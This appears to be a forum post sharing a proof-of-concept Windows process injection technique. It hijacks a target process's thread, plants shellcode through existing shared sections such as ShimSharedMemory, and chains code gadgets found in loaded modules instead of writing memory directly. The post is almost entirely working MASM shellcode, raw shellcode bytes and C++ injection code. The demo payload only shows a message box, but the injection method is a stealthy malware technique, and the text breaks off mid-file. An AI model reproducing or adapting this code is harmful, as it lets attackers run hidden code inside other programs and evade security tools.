nothing new, it's just a PoC. No NtWriteVirtualMemory, NtMapViewofSection for writing the code. By nature, hijacking threads can have a
high level of instability, consider it. Stability and requirements can be improved; it's possible to inject our code without opening a shared section
Hit: any process that can keep our code ( somehow ) is useful.
code.asm:
high level of instability, consider it. Stability and requirements can be improved; it's possible to inject our code without opening a shared section
Hit: any process that can keep our code ( somehow ) is useful.
code.asm:
Code: Select all
inject.h:
include masm32rt.inc
option casemap:none
.data
BegMark BYTE 62h, 6Bh, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h
BYTE 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h, 30h
BYTE 37h, 46h, 46h, 46h, 46h, 46h, 46h, 46h
SizeofBegMark EQU $-BegMark
Shellcode db 83h, 0C4h, 0Ch, 8Bh, 85h, 0E8h, 00h, 00h, 00h, 83h, 0ADh, 3Ch, 05h, 00h, 00h, 04h
db 8Bh, 09Dh, 3Ch, 05h, 00h, 00h, 89h, 03h, 0E8h, 00h, 00h, 00h, 00h, 5Fh, 81h, 0C7h
db 23h, 00h, 00h, 00h, 6Ah, 00h, 6Ah, 00h, 55h, 57h, 6Ah, 00h, 6Ah, 00h, 0FFh, 95h
db 0E0h, 00h, 00h, 00h, 09Dh, 58h, 59h, 5Ah, 5Bh, 5Dh, 5Eh, 5Fh, 5Ch, 0C3h, 8Bh, 0FFh
db 8Bh, 74h, 24h, 04h, 64h, 8Bh, 3Dh, 18h, 00h, 00h, 00h, 8Bh, 7Fh, 30h, 8Bh, 7Fh
db 10h, 0Fh, 0B7h, 47h, 38h, 85h, 0C0h, 74h, 14h, 8Dh, 86h, 96h, 00h, 00h, 00h, 6Ah
db 00h, 50h, 0FFh, 77h, 3Ch, 6Ah, 00h, 0FFh, 96h, 0E4h, 00h, 00h, 00h, 0C2h, 04h
SizeofShellcode EQU $-Shellcode
UCSTR TittleMsg, "Hello World from:",0
UNICODE_STRING STRUCT
_Length WORD ?
MaximumLength WORD ?
Buffer PWSTR ?
UNICODE_STRING ENDS
LPUNICODE_STRING typedef PTR UNICODE_STRING
RTL_DRIVE_LETTER_CURDIR STRUCT
Flags WORD ?
_Length WORD ?
TimeStamp DWORD ?
DosPath UNICODE_STRING <>
RTL_DRIVE_LETTER_CURDIR ends
LPRTL_DRIVE_LETTER_CURDIR typedef ptr RTL_DRIVE_LETTER_CURDIR
RTL_USER_PROCESS_PARAMETERS STRUCT
MaximumLength DWORD ?
_Length DWORD ?
Flags DWORD ?
DebugFlags DWORD ?
ConsoleHandle LPVOID ?
ConsoleFlags DWORD ?
StandardInput LPVOID ?
StandardOutput LPVOID ?
StandardError LPVOID ?
CurrentDirectoryPath UNICODE_STRING <>
Handle HANDLE ?
DllPath UNICODE_STRING <>
ImagePathName UNICODE_STRING <> ; Full path in DOS-like format to process'es file image.
CommandLine UNICODE_STRING <>
Environment LPVOID ?
StartingX DWORD ?
StartingY DWORD ?
CountX DWORD ?
CountY DWORD ?
CountCharsX DWORD ?
CountCharsY DWORD ?
FillAttribute DWORD ?
WindowFlags DWORD ?
ShowWindowFlags DWORD ?
WindowTitle UNICODE_STRING <>
DesktopInfo UNICODE_STRING <>
ShellInfo UNICODE_STRING <>
RuntimeData UNICODE_STRING <>
CurrentDirectores RTL_DRIVE_LETTER_CURDIR <>
EnvironmentSize DWORD ?
EnvironmentVersion DWORD ?
RTL_USER_PROCESS_PARAMETERS ends
LPRTL_USER_PROCESS_PARAMETERS typedef ptr RTL_USER_PROCESS_PARAMETERS
REMOTE_CODE_STRUCTURE STRUCT DWORD
BeginningMark BYTE SizeofBegMark dup (?)
Shellcode BYTE SizeofShellcode dup (?)
TittleMsgBox WCHAR sizeof TittleMsg dup (?)
CreateThread LPVOID ?
MessageBoxW LPVOID ?
tc_Eip DWORD ?
StackSpace DWORD 100h dup (?)
RetRmCode0 LPVOID ?
lpAddress LPVOID ?
dwSize DWORD ?
flAllocationType DWORD ?
flProtect DWORD ?
RetRmCode1 DWORD ?
PopEsi LPVOID ?
RetRmCode2 DWORD ?
PopEcx LPVOID ?
RetRmCode3 DWORD ?
src LPVOID ?
count DWORD ?
_Flags DWORD ?
_Eax DWORD ?
_Ecx DWORD ?
_Edx DWORD ?
_Ebx DWORD ?
_Ebp DWORD ?
_Esi DWORD ?
_Edi DWORD ?
_Esp DWORD ?
REMOTE_CODE_STRUCTURE ends
LPREMOTE_CODE_STRUCTURE typedef ptr REMOTE_CODE_STRUCTURE
s REMOTE_CODE_STRUCTURE <"begin","sh">
.code
entry_shellcode:
add esp,0ch
assume ebp:LPREMOTE_CODE_STRUCTURE
mov eax,[ebp].tc_Eip
sub [ebp]._Esp,sizeof DWORD
mov ebx,[ebp]._Esp
mov [ebx],eax
call get_eip
get_eip:
pop edi
add edi,new_thread-get_eip
push NULL
push 0
push ebp
push edi
push 0
push NULL
call [ebp].CreateThread
assume ebp:nothing
popfd
pop eax
pop ecx
pop edx
pop ebx
pop ebp
pop esi
pop edi
pop esp
ret
ALIGN 4
new_thread:
assume fs:nothing
mov esi,[esp+04h]
mov edi,fs:[18h]
mov edi,[edi+30h]
mov edi,[edi+10h]
assume edi:LPRTL_USER_PROCESS_PARAMETERS
assume esi:LPREMOTE_CODE_STRUCTURE
movzx eax,[edi].ImagePathName._Length
test eax,eax
je Finish_
lea eax,[esi].TittleMsgBox
push MB_OK
push eax
push [edi].ImagePathName.Buffer
push NULL
call [esi].MessageBoxW
Finish_:
ret 04h
end entry_shellcode
Code: Select all
inject.cpp:
#pragma once
#include <Windows.h>
#include <stdio.h>
#include "NtDef.h" // your nt definitions
#define PTR_ADD_OFFSET(Pointer,Offset) ((LPVOID)((ULONG_PTR)(Pointer) + (ULONG_PTR)(Offset)))
#define PTR_SUB_OFFSET(Pointer,Offset) ((LPVOID)((ULONG_PTR)(Pointer) - (ULONG_PTR)(Offset)))
const LPWSTR SharedSections[] =
{
TEXT("\\BaseNamedObjects\\ShimSharedMemory"),
TEXT("\\BaseNamedObjects\\mmGlobalPnpInfo"),
TEXT("\\BaseNamedObjects\\__ComCatalogCache__"),
TEXT("\\BaseNamedObjects\\windows_ie_global_counters"),
TEXT("\\BaseNamedObjects\\SessionImmersiveColorSet"),
TEXT("\\BaseNamedObjects\\windows_shell_global_counters"),
};
/*
50 PUSH EAX
FFD6 CALL ESI
*/
const BYTE RmCode0[] =
{
0x50,0xFF,0xD6
};
/*
5E POP ESI
5B POP EBX
C3 RETN
*/
const BYTE RmCodeEsi[] =
{
0x5E,0x5B,0xC3
};
/*
5E POP ESI
C3 RETN
*/
const BYTE RmCode1[] =
{
0x5E,0xC3
};
/*
59 POP ECX
C3 RETN
*/
const BYTE RmCode2[] =
{
0x59,0xC3
};
/*
50 PUSH EAX
53 PUSH EBX
FFD6 CALL ESI
*/
const BYTE RmCode3[] =
{
0x50,0x53,0xFF,0xD6
};
/*
57 PUSH EDI
FFD1 CALL ECX
*/
const BYTE RmCodeEsi2[] =
{
0x57,0xFF,0xD1
};
/*
5E POP ESI
C2 0C00 RETN 0x04
*/
const BYTE RMCodeEcx[] =
{
0x5E,0xC2,0x04,0x00
};
const BYTE BegMark[] = {
0x62, 0x6B, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
0x37, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46, 0x46
};
const BYTE Code[] = {
0x83, 0xC4, 0x0C, 0x8B, 0x85, 0xE8, 0x00, 0x00, 0x00, 0x83, 0xAD, 0x3C, 0x05, 0x00, 0x00, 0x04,
0x8B, 0x9D, 0x3C, 0x05, 0x00, 0x00, 0x89, 0x03, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x81, 0xC7,
0x23, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x55, 0x57, 0x6A, 0x00, 0x6A, 0x00, 0xFF, 0x95,
0xE0, 0x00, 0x00, 0x00, 0x9D, 0x58, 0x59, 0x5A, 0x5B, 0x5D, 0x5E, 0x5F, 0x5C, 0xC3, 0x8B, 0xFF,
0x8B, 0x74, 0x24, 0x04, 0x64, 0x8B, 0x3D, 0x18, 0x00, 0x00, 0x00, 0x8B, 0x7F, 0x30, 0x8B, 0x7F,
0x10, 0x0F, 0xB7, 0x47, 0x38, 0x85, 0xC0, 0x74, 0x14, 0x8D, 0x86, 0x98, 0x00, 0x00, 0x00, 0x6A,
0x00, 0x50, 0xFF, 0x77, 0x3C, 0x6A, 0x00, 0xFF, 0x96, 0xE4, 0x00, 0x00, 0x00, 0xC2, 0x04
};
const WCHAR MsgTittle[] = TEXT("Hello World from:");
#pragma pack(push,4)
typedef struct _REMOTE_CODE_STRUCTURE
{
BYTE BeginningMark[sizeof(BegMark)];
BYTE Shellcode[sizeof(Code)];
WCHAR TittleMsgBox[sizeof(MsgTittle)];
LPVOID CreateThread;
LPVOID MessageBoxW;
DWORD tc_Eip;
DWORD StackSpace[0x100];
LPVOID RetRmCode0;
LPVOID lpAddress;
SIZE_T dwSize;
DWORD flAllocationType;
DWORD flProtect;
LPVOID RetRmCode1;
LPVOID PopEsi;
LPVOID RetRmCode2;
LPVOID PopEcx;
LPVOID RetRmCode3;
LPVOID src;
SIZE_T count;
DWORD _Flags;
DWORD _Eax;
DWORD _Ecx;
DWORD _Edx;
DWORD _Ebx;
DWORD _Ebp;
DWORD _Esi;
DWORD _Edi;
DWORD _Esp;
}REMOTE_CODE_STRUCTURE,*PREMOTE_CODE_STRUCTURE;
#pragma pack(pop)
extern "C"
{
NTSTATUS NTAPI LdrLoadDll(IN PWCHAR PathToFile OPTIONAL,IN ULONG Flags OPTIONAL,IN PUNICODE_STRING ModuleFileName,OUT PHANDLE ModuleHandle);
NTSTATUS NTAPI RtlGetVersion(PRTL_OSVERSIONINFOW lpVersionInformation);
NTSTATUS NTAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,IN OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength OPTIONAL);
NTSTATUS NTAPI NtQueryInformationProcess(IN HANDLE ProcessHandle,IN PROCESS_INFORMATION_CLASS ProcessInformationClass,OUT PVOID ProcessInformation,IN ULONG ProcessInformationLength,OUT PULONG ReturnLength);
NTSTATUS NTAPI NtOpenThread(OUT PHANDLE ThreadHandle,IN ACCESS_MASK AccessMask,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId);
NTSTATUS NTAPI NtSuspendThread(IN HANDLE ThreadHandle,OUT PULONG PreviousSuspendCount OPTIONAL);
NTSTATUS NTAPI NtResumeThread(IN HANDLE ThreadHandle,OUT PULONG SuspendCount OPTIONAL);
NTSTATUS NTAPI NtUnmapViewOfSection(IN HANDLE ProcessHandle,IN PVOID BaseAddress );
NTSTATUS NTAPI NtQueueApcThread(IN HANDLE ThreadHandle,IN PIO_APC_ROUTINE ApcRoutine,IN PVOID ApcRoutineContext OPTIONAL,IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL,IN ULONG ApcReserved OPTIONAL);
NTSTATUS NTAPI NtWriteVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,IN PVOID Buffer,IN ULONG NumberOfBytesToWrite,OUT PULONG NumberOfBytesWritten OPTIONAL);
NTSTATUS NTAPI NtAllocateVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN ULONG ZeroBits,IN OUT PULONG RegionSize,IN ULONG AllocationType,IN ULONG Protect);
NTSTATUS NTAPI NtReadVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,OUT PVOID Buffer,IN SIZE_T NumberOfBytesToRead,OUT PSIZE_T NumberOfBytesRead OPTIONAL);
NTSTATUS NTAPI NtFreeVirtualMemory(IN HANDLE ProcessHandle,IN PVOID *BaseAddress,IN OUT PULONG RegionSize,IN ULONG FreeType);
NTSTATUS NTAPI NtCreateSection(OUT PHANDLE SectionHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,IN PLARGE_INTEGER MaximumSize OPTIONAL,IN ULONG SectionPageProtection OPTIONAL,IN ULONG AllocationAttributes,IN HANDLE FileHandle OPTIONAL);
NTSTATUS NTAPI NtMapViewOfSection(IN HANDLE SectionHandle,IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress OPTIONAL,IN ULONG ZeroBits OPTIONAL,IN ULONG CommitSize,IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,IN OUT PULONG ViewSize,IN SECTION_INHERIT InheritDisposition,IN ULONG AllocationType OPTIONAL,IN ULONG Protect);
NTSTATUS NTAPI NtOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK AccessMask,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId);
NTSTATUS NTAPI NtClose(IN HANDLE ObjectHandle);
NTSTATUS NTAPI NtQueryInformationFile(IN HANDLE FileHandle,OUT PIO_STATUS_BLOCK IoStatusBlock,OUT PVOID FileInformation,IN ULONG Length,IN FILE_INFORMATION_CLASS FileInformationClass);
LPVOID NTAPI RtlAllocateHeap(IN PVOID HeapHandle,IN ULONG Flags,IN ULONG Size);
BOOLEAN NTAPI RtlFreeHeap(IN LPVOID HeapHandle,IN ULONG Flags OPTIONAL,IN PVOID HeapBase);
LPVOID NTAPI RtlReAllocateHeap(IN PVOID HeapHandle,IN ULONG Flags,IN PVOID MemoryPointer,IN ULONG Size);
VOID NTAPI RtlInitUnicodeString(OUT PUNICODE_STRING DestinationString,IN PCWSTR SourceString OPTIONAL);
NTSTATUS NTAPI NtOpenSection(OUT PHANDLE SectionHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes);
NTSTATUS NTAPI NtQueryVirtualMemory(IN HANDLE ProcessHandle,IN PVOID BaseAddress,IN MEMORY_INFORMATION_CLASS MemoryInformationClass,OUT PVOID Buffer,IN ULONG Length,OUT PULONG ResultLength OPTIONAL);
BOOLEAN NTAPI RtlDosPathNameToNtPathName_U(IN PCWSTR DosPathName OPTIONAL,OUT PUNICODE_STRING NtPathName,OUT PCWSTR* NtFileNamePart OPTIONAL,OUT PRTL_RELATIVE_NAME_U DirectoryInfo OPTIONAL);
NTSTATUS NTAPI NtCreateFile(OUT PHANDLE FileHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,OUT PIO_STATUS_BLOCK IoStatusBlock,IN PLARGE_INTEGER AllocationSize OPTIONAL,IN ULONG FileAttributes,IN ULONG ShareAccess,IN ULONG CreateDisposition,IN ULONG CreateOptions,IN PVOID EaBuffer OPTIONAL,IN ULONG EaLength);
NTSTATUS NTAPI NtReadFile(IN HANDLE FileHandle,IN HANDLE Event OPTIONAL,IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,IN PVOID ApcContext OPTIONAL,OUT PIO_STATUS_BLOCK IoStatusBlock,OUT PVOID Buffer,IN ULONG Length,IN PLARGE_INTEGER ByteOffset OPTIONAL,IN PULONG Key OPTIONAL);
NTSTATUS NTAPI LdrGetProcedureAddress(IN HMODULE ModuleHandle,IN PANSI_STRING FunctionName OPTIONAL,IN WORD Oridinal OPTIONAL,OUT PVOID *FunctionAddress);
NTSTATUS NTAPI NtGetContextThread(IN HANDLE ThreadHandle,OUT PCONTEXT pContext);
NTSTATUS NTAPI NtSetContextThread(IN HANDLE ThreadHandle,IN PCONTEXT Context);
NTSTATUS NTAPI RtlWow64GetThreadContext(IN HANDLE ThreadHandle,IN OUT PWOW64_CONTEXT ThreadContext);
NTSTATUS NTAPI RtlWow64SetThreadContext(IN HANDLE ThreadHandle,IN PWOW64_CONTEXT ThreadContext);
NTSTATUS NTAPI NtProtectVirtualMemory(IN HANDLE ProcessHandle,IN OUT PVOID *BaseAddress,IN OUT PULONG NumberOfBytesToProtect,IN ULONG NewAccessProtection,OUT PULONG OldAccessProtection );
NTSTATUS NTAPI NtAlertResumeThread(IN HANDLE ThreadHandle,OUT PULONG SuspendCount);
NTSTATUS NTAPI NtOpenThreadToken(IN HANDLE ThreadHandle,IN ACCESS_MASK DesiredAccess,IN BOOLEAN OpenAsSelf,OUT PHANDLE TokenHandle);
NTSTATUS NTAPI NtSetInformationThread(IN HANDLE ThreadHandle,IN THREAD_INFORMATION_CLASS ThreadInformationClass,IN PVOID ThreadInformation,IN ULONG ThreadInformationLength);
NTSTATUS NTAPI NtOpenDirectoryObject(OUT PHANDLE DirectoryObjectHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes);
NTSTATUS NTAPI NtCreateMutant(OUT PHANDLE MutantHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,IN BOOLEAN InitialOwner);
};
NTSTATUS TCHInjection(IN DWORD PID);
Code: Select all
#include "inject.h"
ULONG FindPattern(LPVOID Memory,SIZE_T MemorySize,LPVOID Pattern,SIZE_T PatternSize)
{
for(SIZE_T x = 0; (x + PatternSize) < MemorySize; x++)
{
if(memcmp(&((LPBYTE)Memory)[x],Pattern,PatternSize) == 0)
{
return x;
}
}
return 0xFFFFFFFF;
}
NTSTATUS GetTIDFromPID(IN DWORD PID,OUT PDWORD TID)
{
NTSTATUS NtStatus;
LPVOID Buffer;
ULONG Size;
PSYSTEM_PROCESS_INFORMATION ProcessInfo;
ULONG NextEntryOffset;
Size = 0x10000;
Buffer = HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Size);
while(TRUE)
{
NtStatus = NtQuerySystemInformation(SystemProcessInformation,Buffer,Size,&Size);
if(NT_SUCCESS(NtStatus))
{
break;
}
else if(NtStatus == STATUS_INFO_LENGTH_MISMATCH)
{
Size += 0x10000;
Buffer = HeapReAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Buffer,Size);
}
else
{
printf("NtQuerySystemInformation error: %X\n",NtStatus);
goto Finish_;
}
}
NextEntryOffset = 0;
NtStatus = STATUS_NOT_FOUND;
ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)Buffer;
do
{
ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)ProcessInfo + NextEntryOffset);
if(ProcessInfo->ProcessId == (HANDLE)PID)
{
if(ProcessInfo->NumberOfThreads > 0)
{
*TID = (DWORD)ProcessInfo->Threads[0].ClientId.UniqueThread;
NtStatus = STATUS_SUCCESS;
break;
}
}
NextEntryOffset = ProcessInfo->NextEntryOffset;
}while(NextEntryOffset > 0);
Finish_:
HeapFree(GetProcessHeap(),0,Buffer);
return NtStatus;
}
NTSTATUS RemoteEnumModules(IN HANDLE hProcess,OUT LPVOID** lpModules,OUT PULONG NumModules)
{
NTSTATUS NtStatus;
PROCESS_BASIC_INFORMATION ProcBasicInfo;
PPEB_LDR_DATA LdrData;
PLIST_ENTRY ListHeadPtr;
PLIST_ENTRY ListEntryPtr;
LDR_DATA_TABLE_ENTRY ModuleEntry;
LPVOID* ModBaseAddress;
ULONG NumOfModules;
ULONG HpMemSize;
if( (!lpModules) ||
(!NumModules))
{
return STATUS_INVALID_PARAMETER;
}
NtStatus = NtQueryInformationProcess(hProcess,ProcessBasicInformation,&ProcBasicInfo,sizeof(ProcBasicInfo),NULL);
if(!NT_SUCCESS(NtStatus))
{
return NtStatus;
}
NtStatus = NtReadVirtualMemory(hProcess,&((PPEB)ProcBasicInfo.PebBaseAddress)->Ldr,&LdrData,sizeof(LdrData),NULL);
if(!NT_SUCCESS(NtStatus))
{
return NtStatus;
}
ListHeadPtr = &LdrData->InLoadOrderModuleList;
NtStatus = NtReadVirtualMemory(hProcess,&LdrData->InLoadOrderModuleList.Flink,&ListEntryPtr,sizeof(ListEntryPtr),NULL);
if(!NT_SUCCESS(NtStatus))
{
return NtStatus;
}
NumOfModules = 0;
HpMemSize = sizeof(LPVOID) * 100;
ModBaseAddress = (LPVOID*)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,HpMemSize);
NtStatus = STATUS_SUCCESS;
while (ListEntryPtr != ListHeadPtr)
{
NtStatus = NtReadVirtualMemory(hProcess,ListEntryPtr,&ModuleEntry,sizeof(ModuleEntry),NULL);
if(!NT_SUCCESS(NtStatus))
{
HeapFree(GetProcessHeap(),0,ModBaseAddress);
return NtStatus;
}
if(ModuleEntry.DllBase)
{
if((NumOfModules + 1) * sizeof(LPVOID) >= HpMemSize)
{
HpMemSize += sizeof(LPVOID) * 100;
ModBaseAddress = (LPVOID*)HeapReAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,ModBaseAddress,HpMemSize);
}
ModBaseAddress[NumOfModules] = ModuleEntry.DllBase;
NumOfModules++;
}
ListEntryPtr = ModuleEntry.InLoadOrderLinks.Flink;
}
*lpModules = ModBaseAddress;
*NumModules = NumOfModules;
return NtStatus;
}
NTSTATUS GetInstructionsAddr(IN HANDLE hProcess,OUT PREMOTE_CODE_STRUCTURE pStruct,LPVOID *EsiField)
{
typedef struct _RM_CODE {
LPBYTE Ptr;
ULONG NumBytes;
LPVOID* SavePtr;
}RM_CODE,*PRM_CODE;
NTSTATUS NtStatus;
HANDLE hCurrentProcess;
LPVOID* ModulesArr;
ULONG NumModules;
BYTE ModuleHeaders[0x800];
RM_CODE RMCodes[] = {
{(LPBYTE)RmCode0,sizeof(RmCode0),&pStruct->RetRmCode0},
{(LPBYTE)RmCode1,sizeof(RmCode1),&pStruct->RetRmCode1},
{(LPBYTE)RmCodeEsi,sizeof(RmCodeEsi),EsiField},
{(LPBYTE)RmCode2,sizeof(RmCode2),&pStruct->RetRmCode2},
{(LPBYTE)RmCode3,sizeof(RmCode3),&pStruct->RetRmCode3},
{(LPBYTE)RmCodeEsi2,sizeof(RmCodeEsi2),&pStruct->PopEsi},
{(LPBYTE)RMCodeEcx,sizeof(RMCodeEcx),&pStruct->PopEcx}};
if(!pStruct)
{
return STATUS_INVALID_PARAMETER;
}
NtStatus = RemoteEnumModules(hProcess,&ModulesArr,&NumModules);
if(!NT_SUCCESS(NtStatus))
{
return NtStatus;
}
hCurrentProcess = GetCurrentProcess();
for(LONG c = 0; c < sizeof(RMCodes) / sizeof(RMCodes[0]); c++)
{
NTSTATUS RMCodeFound;
RMCodeFound = STATUS_NOT_FOUND;
for(ULONG m = 0; m < NumModules; m++)
{
NtStatus = NtReadVirtualMemory(
hProcess,
ModulesArr[m],
ModuleHeaders,
sizeof(ModuleHeaders),
NULL);
if(!NT_SUCCESS(NtStatus))
{
continue;
}
PIMAGE_DOS_HEADER DOSHeader;
PIMAGE_NT_HEADERS NTHeader;
PIMAGE_SECTION_HEADER SectionHeader;
LPVOID PESectionBaseAddress;
LPVOID PESection;
ULONG PESectionSize;
MEMORY_BASIC_INFORMATION MemBasicInfo;
ULONG PatternOff;
DOSHeader = (PIMAGE_DOS_HEADER)ModuleHeaders;
NTHeader = (PIMAGE_NT_HEADERS)((ULONG_PTR)DOSHeader + DOSHeader->e_lfanew);
SectionHeader = IMAGE_FIRST_SECTION(NTHeader);
if((DOSHeader->e_magic == IMAGE_DOS_SIGNATURE) &&
(NTHeader->Signature == IMAGE_NT_SIGNATURE) &&
(NTHeader->OptionalHeader.SizeOfHeaders <= sizeof(ModuleHeaders)))
{
for(ULONG s = 0; s < NTHeader->FileHeader.NumberOfSections; s++)
{
PESection = NULL;
PESectionSize = SectionHeader[s].Misc.VirtualSize;
PESectionBaseAddress = PTR_ADD_OFFSET(ModulesArr[m],SectionHeader[s].VirtualAddress);
NtStatus = NtQueryVirtualMemory(
hProcess,
PESectionBaseAddress,
MemoryBasicInformation,
&MemBasicInfo,
sizeof(MEMORY_BASIC_INFORMATION),
NULL);
if(!NT_SUCCESS(NtStatus))
{
continue;
}
if(!(MemBasicInfo.Protect & PAGE_EXECUTE_READ))
{
continue;
}
NtStatus = NtAllocateVirtualMemory(
hCurrentProcess,
&PESection,
0,
&PESectionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if(!NT_SUCCESS(NtStatus))
{
continue;
}
/* Read section */
NtStatus = NtReadVirtualMemory(
hProcess,
PESectionBaseAddress,
PESection,
PESectionSize,
NULL);
if(!NT_SUCCESS(NtStatus))
{
goto fmem;
}
PatternOff = FindPattern(
PESection,
PESectionSize,
RMCodes[c].Ptr,
RMCodes[c].NumBytes);
if(PatternOff != 0xFFFFFFFF)
{
NtFreeVirtualMemory(
hCurrentProcess,
&PESection,
&PESectionSize,
MEM_RELEASE);
*RMCodes[c].SavePtr = PTR_ADD_OFFSET(PESectionBaseAddress,PatternOff);
RMCodeFound = STATUS_SUCCESS;
goto val_result;
}
fmem:
NtFreeVirtualMemory(
hCurrentProcess,
&PESection,
&PESectionSize,
MEM_RELEASE);
}
}
}
val_result:
if(!NT_SUCCESS(RMCodeFound))
{
NtStatus = RMCodeFound;
break;
}
}
HeapFree(GetProcessHeap(),0,ModulesArr);
return NtStatus;
}
hSection: Pointer to a variable that receives a handle of the shared section
BaseOfView: Pointer to a variable that receives a pointer to the base address of map view
SizeOfView: Pointer to a variable that receives the size of view in bytes
RemoteAddrOfBeginMark: Pointer to a variable that receives the address of the beginning of the mark
in the remote process
If the function succeeds, the return value is STATUS_SUCCESS otherwise any NTSTATUS value
------------------------------------------------------------------------------------------------------
This loop walk on the array of names of shared sections, attempts to map the section, check the size
page in order to know if there is enough space to write our bytes then looks for a sequence of bytes
that have been written in the section in order to know if that section is mapped into the process
(alternatively you can list handles of the target process and look for any shared sections) .
In other words this function validates the environment of the target process so we can know if
possible to continue with our
*/
NTSTATUS GetSharedSection(HANDLE hTargetProcess,OUT HANDLE* hSection,OUT LPVOID* BaseOfView,OUT PULONG SizeOfView,OUT LPVOID* RemoteAddrOfBeginMark)
{
NTSTATUS NtStatus;
HANDLE hCurrentProcess;
LPVOID AllocatedBuffer;
ULONG AllocatedSize;
UNICODE_STRING SectionName;
OBJECT_ATTRIBUTES ObjAttr;
HANDLE SectionHandle;
LPVOID BaseAddress;
ULONG Size;
MEMORY_BASIC_INFORMATION MemBasicInfo;
LPVOID QueryBaseAddress;
LPVOID BeginMark;
ULONG BeginMarkOff;
if( (!hSection) ||
(!BaseOfView) ||
(!SizeOfView) ||
(!RemoteAddrOfBeginMark))
{
return STATUS_INVALID_PARAMETER;
}
hCurrentProcess = GetCurrentProcess();
AllocatedBuffer = NULL;
AllocatedSize = 0x10000; // 64KB
if(!NT_SUCCESS(NtStatus = NtAllocateVirtualMemory(
hCurrentProcess,
&AllocatedBuffer,
0,
&AllocatedSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)))
{
return NtStatus;
}
for(ULONG s = 0; s < sizeof(SharedSections) / sizeof(SharedSections[0]); s++)
{
RtlInitUnicodeString(&SectionName,SharedSections[s]);
InitializeObjectAttributes(&ObjAttr,&SectionName,0,NULL,NULL);
NtStatus = NtOpenSection(&SectionHandle,SECTION_MAP_WRITE | SECTION_MAP_READ,&ObjAttr);
if(NT_SUCCESS(NtStatus))
{
BaseAddress = NULL;
Size = 0;
NtStatus = NtMapViewOfSection(
SectionHandle,
hCurrentProcess,
&BaseAddress,
0,
0,
NULL,
&Size,
ViewUnmap,
0,
PAGE_READWRITE);
if(NT_SUCCESS(NtStatus) || NtStatus == STATUS_IMAGE_NOT_AT_BASE)
{
NtStatus = NtQueryVirtualMemory(
hCurrentProcess,
BaseAddress,
MemoryBasicInformation,
&MemBasicInfo,
sizeof(MEMORY_BASIC_INFORMATION),
NULL);
if(NT_SUCCESS(NtStatus))
{
if(sizeof(REMOTE_CODE_STRUCTURE) <= MemBasicInfo.RegionSize)
{
RtlCopyMemory(
PTR_SUB_OFFSET(PTR_ADD_OFFSET(BaseAddress,MemBasicInfo.RegionSize),sizeof(REMOTE_CODE_STRUCTURE)),
BegMark,
sizeof(BegMark));
QueryBaseAddress = 0;
while(NT_SUCCESS(NtQueryVirtualMemory(
hTargetProcess,
QueryBaseAddress,
MemoryBasicInformation,
&MemBasicInfo,
sizeof(MEMORY_BASIC_INFORMATION),
NULL)))
{
if(MemBasicInfo.Type & MEM_MAPPED)
{
ULONG IndReadBytes;
ULONG NumOfBytes;
ULONG ReadB;
IndReadBytes = 0;
while(IndReadBytes < MemBasicInfo.RegionSize)
{
ULONG Remaining = MemBasicInfo.RegionSize - IndReadBytes;
NumOfBytes = Remaining < AllocatedSize ? Remaining : AllocatedSize;
if(!NT_SUCCESS(NtReadVirtualMemory(
hTargetProcess,
QueryBaseAddress,
AllocatedBuffer,
NumOfBytes,
&ReadB)))
{
break;
}
BeginMarkOff = FindPattern(
AllocatedBuffer,
NumOfBytes,
(LPVOID)BegMark,
sizeof(BegMark));
if(BeginMarkOff != 0xFFFFFFFF)
{
BeginMark = PTR_ADD_OFFSET(PTR_ADD_OFFSET(QueryBaseAddress,IndReadBytes),BeginMarkOff);
*hSection = SectionHandle;
*BaseOfView = BaseAddress;
*SizeOfView = Size;
*RemoteAddrOfBeginMark = BeginMark;
NtStatus = STATUS_SUCCESS;
goto Finish_;
}
IndReadBytes += NumOfBytes;
}
}
QueryBaseAddress = PTR_ADD_OFFSET(QueryBaseAddress,MemBasicInfo.RegionSize);
}
}
}
NtUnmapViewOfSection(hCurrentProcess,BaseAddress);
}
NtClose(SectionHandle);
}
}
Finish_:
NtFreeVirtualMemory(hCurrentProcess,&AllocatedBuffer,&AllocatedSize,MEM_RELEASE);
return NtStatus;
}
